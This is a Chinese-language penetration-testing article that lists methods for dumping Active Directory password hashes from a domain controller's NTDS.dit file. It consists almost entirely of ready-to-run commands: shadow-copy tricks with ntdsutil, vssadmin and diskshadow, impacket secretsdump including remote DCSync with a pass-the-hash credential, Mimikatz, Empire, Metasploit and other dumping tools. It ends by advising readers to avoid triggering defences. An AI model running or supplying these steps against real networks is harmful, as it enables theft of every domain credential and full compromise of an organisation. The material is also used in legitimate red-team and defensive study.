域内用户Hash获取方式总结
字数 1319 2025-08-23 18:31:34
域内用户Hash获取方式总结
文章前言
在渗透测试过程中,当获得域管权限后,提取域内用户密码哈希进行离线破解和分析是常见操作。这些哈希值存储在域控制器(NTDS.DIT)数据库文件中,包含用户名、散列值、组、GPP、OU等Active Directory相关信息。NTDS.dit文件位于:
C:\Windows\NTDS\NTDS.dit
NTDS提取方法
1. NTDSUTIL方法
NTDSUTIL是域控制器自带的命令行工具,可用于创建NTDS.dit文件的快照。
操作步骤:
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
生成文件:
C:\ntdsutil\Active Directory- 包含NTDS.DIT文件C:\ntdsutil\Registry- 包含SAM和SYSTEM文件
使用ntdsdump提取Hash:
ntdsdump.exe -f ntds.dit -s SYSTEM
参数说明:
-f- ntds.dit路径-k- 十六进制格式的SYSKEY-s- system.hiv路径-h- 导出历史密码记录-t- 导出格式(LC或JOHN)-o- 导出到指定文件
2. vssadmin方法
使用Windows自带的卷影拷贝工具。
操作步骤:
- 创建C盘卷影拷贝:
vssadmin create shadow /for=c: - 复制NTDS.dit和SYSTEM文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEM - 删除卷影拷贝:
vssadmin delete shadows /for=c: /quiet - 使用impacket导出Hash:
./secretsdump.py -system /root/vssadmin/SYSTEM -ntds /root/vssadmin/ntds.dit LOCAL
3. vssown.vbs方法
使用Tim Tomes开发的vssown.vbs脚本。
操作步骤:
- 启动卷影拷贝服务:
cscript vssown.vbs /start - 创建C盘卷影拷贝:
cscript vssown.vbs /create c - 列出当前卷影拷贝:
cscript vssown.vbs /list - 复制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\vssown\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\SYSTEM C:\vssown\SYSTEM copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\SAM C:\vssown\SAM - 删除卷影拷贝:
cscript vssown.vbs /delete {54EC...} - 使用impacket导出Hash:
./secretsdump.py -system /root/vssown/SYSTEM -ntds /root/vssown/ntds.dit LOCAL
4. diskshadow方法
使用Microsoft签名的diskshadow工具。
脚本内容(diskshadow.txt):
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows all
reset
执行命令:
diskshadow.exe /s c:\diskshadow.txt
导出system.hive:
reg save hklm\system c:\system.hive
使用impacket导出Hash:
./secretsdump.py -system /root/diskshadow/system.hive -ntds /root/diskshadow/ntds.dit LOCAL
5. Impacket直接导出
使用impacket工具包中的secretsdump。
本地解析:
./secretsdump.py -system /root/system.hive -ntds /root/ntds.dit LOCAL
远程导出(需凭证):
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:41945356c1b2adde08c00d0e48515b7e -just-dc hacke.testlab/administrator@192.168.188.2
6. esedbexport方法
使用libesedb工具提取NTDS.dit中的表信息。
安装libesedb:
git clone https://github.com/libyal/libesedb
cd libesedb/
./synclibs.sh
./autogen.sh
sudo apt install git autoconf automake autopoint libtool pkg-config
./configure
make
sudo make install
sudo ldconfig
提取表信息:
esedbexport -m tables /root/ntds.dit
使用ntdsxtract导出Hash:
- 安装ntdsxtract:
git clone https://github.com/csababarta/ntdsxtract.git cd ntdsxtract python setup.py build && python setup.py install - 导出Hash:
./dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt - 导出计算机信息:
./dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv
7. NTDSDumpex方法
使用NTDSDumpex.exe工具。
命令:
NTDSDumpex.exe -d ntds.dit -s system
第三方工具方法
1. Mimikatz
获取所有域用户信息:
lsadump::dcsync /domain:hacke.testlab /all /csv
获取特定用户信息:
lsadump::dcsync /domain:hacke.testlab /user:testuser
直接在域控上执行:
privilege::debug
lsadump::lsa /inject
2. Empire
提取所有用户hash:
usemodule credentials/mimikatz/dcsync_hashdump
dump特定账户:
( Empire: 8GLZTYXR ) > usemodule credentials/mimikatz/dcsync
( Empire: powershell/credentials/mimikatz/dcsync ) > set user Al1ex
( Empire: powershell/credentials/mimikatz/dcsync ) > execute
3. Nishang
使用Copy-VSS.ps1脚本。
命令:
Import-Module .\Copy-VSS.ps1
Copy-VSS # 复制到当前目录
Copy-VSS -DestinationDir C:\ShadowCopy\ # 复制到指定目录
使用Mimikatz解析:
lsadump::sam /sam:sam.hive /system:system.hive
4. Metasploit
模块:
run post/windows/gather/hashdump
run post/windows/gather/smart_hashdump
5. fgdump
命令:
fgdump.exe
6. Invoke-DCSync
基本使用:
Import-Module ./Invoke-DCSync.ps1
Invoke-DCSync
PWDump格式输出:
Invoke-DCSync -PWDumpFormat
总结
本文详细介绍了多种获取域内用户Hash的方法,包括:
- 使用系统自带工具(NTDSUTIL、vssadmin、diskshadow)
- 使用第三方工具(Impacket、Mimikatz、Empire等)
- 各种方法的适用场景和操作步骤
在实际渗透测试中,应根据目标环境选择合适的方法,注意避免触发防御机制。